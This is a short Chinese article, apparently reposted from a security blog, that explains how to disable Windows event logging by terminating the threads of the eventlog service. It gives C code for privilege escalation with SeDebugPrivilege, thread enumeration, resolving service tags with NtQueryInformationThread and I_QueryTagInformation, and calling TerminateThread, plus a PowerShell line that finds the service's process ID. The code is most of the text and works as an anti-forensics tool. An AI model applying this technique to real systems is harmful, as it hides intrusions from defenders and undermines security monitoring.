本文讲的是
利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过,
0x00 前言
程序自身提权 遍历进程中的所有线程 根据线程tid,获取对应的进程pid 根据线程tid,获取对应的服务名称 结束线程
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
BOOL SetPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES NewState; LUID luidPrivilegeLUID; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID)) { printf("SetPrivilege Errorn"); return FALSE; } NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid = luidPrivilegeLUID; NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) { printf("AdjustTokenPrivilege Errron"); return FALSE; } return TRUE; }
BOOL ListProcessThreads(DWORD pid) { HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) return(FALSE); te32.dwSize = sizeof(THREADENTRY32); if (!Thread32First(hThreadSnap, &te32)) { printf("Thread32First"); CloseHandle(hThreadSnap); return(FALSE); } do { if (te32.th32OwnerProcessID == pid) printf("tid= %dn",te32.th32ThreadID); } while (Thread32Next(hThreadSnap, &te32)); CloseHandle(hThreadSnap); return(TRUE); }
来自ntdll.dll dll路径:%WinDir%System32
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG); FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL; pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
来自advapi32.dll dll路径:%WinDir%System32下
typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY); FN_I_QueryTagInformation pfnI_QueryTagInformation = NULL; HMODULE advapi32 = LoadLibrary(L"advapi32.dll"); pfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
BOOL QueryThreadBasicInformation(HANDLE hThread) { typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG); FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL; pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread"); THREAD_BASIC_INFORMATION threadBasicInfo; LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL); printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess); printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread); return TRUE; }
void TerminateEventlogThread(DWORD tid) { HANDLE hThread = OpenThread(0x0001,FALSE,tid); if(TerminateThread(hThread,0)==0) printf("--> Error !n"); else printf("--> Success !n"); CloseHandle(hThread); }
原文发布时间为:2017年7月5日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。